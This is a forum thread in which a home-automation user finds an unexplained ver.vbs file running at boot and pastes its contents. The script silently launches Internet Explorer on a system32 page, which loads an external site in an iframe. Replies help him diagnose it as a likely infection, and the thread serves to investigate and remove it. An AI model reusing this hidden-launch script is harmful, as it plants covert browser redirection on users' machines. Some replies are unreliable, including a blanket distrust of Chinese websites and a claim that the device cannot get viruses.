Whenever I boot my Hometroller, I get a security warning about a file called ver.vbs. Windows wants to open it. It was installed on my system in April, 2010. I'm concerned that it's some kind of virus or trojan horse. Does anybody know what it is?
-
-
If it is a vbs file you should be able to open it in Notepad and examine the code.Mike____________________________________________________________ __________________
HS3 Pro Edition 3.0.0.548, NUC i3
HW: Stargate | NX8e | CAV6.6 | Squeezebox | PCS | WGL 800RF | RFXCOM | Vantage Pro | Green-Eye | Edgeport/8 | Way2Call | Ecobee3 | EtherRain | Ubiquiti -
Thanks Uncle Michael. I didn't think about that. This is what is in the file:
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("iexplore.exe file:///C:/WINDOWS/system32/soso.htm", 0, TRUE)
Do you know what that might be?Comment
-
that is just code to create an object wscript and then call IE and that specific page called soso.htm
check what that is.Comment
-
This looks very suspicious to me because of the location of the file. Open the soso.htm in notepad and see what the file does. It may be a test from a long time back.Originally posted by DC View PostComment
-
Here is what is in soso.htm:
<head>
<title>Go.....En</title>
<meta http-equiv="refresh" content="6666">
</head>
<iframe src="http://go.zuinu.com/en/kong.asp" width=800 height=600 frameborder=0 scrolling=no></iframe>
<br>
That looks like some kind of Chinese website. I'm getting more and more suspicious of it. I moved both files out of the system directory to the desktop. If that causes a problem, I can put them back in. But I guess now I need to find out what is trying to execute ver.vbs.Comment
-
looks like you got some kinda of virus. i would definitely be suspicious of any chinese websites.
look for cscript and or wscript running that vb file.Comment
-
I have a good firewall and the Hometroller is not supposed to be susceptible to viruses.Comment
Comment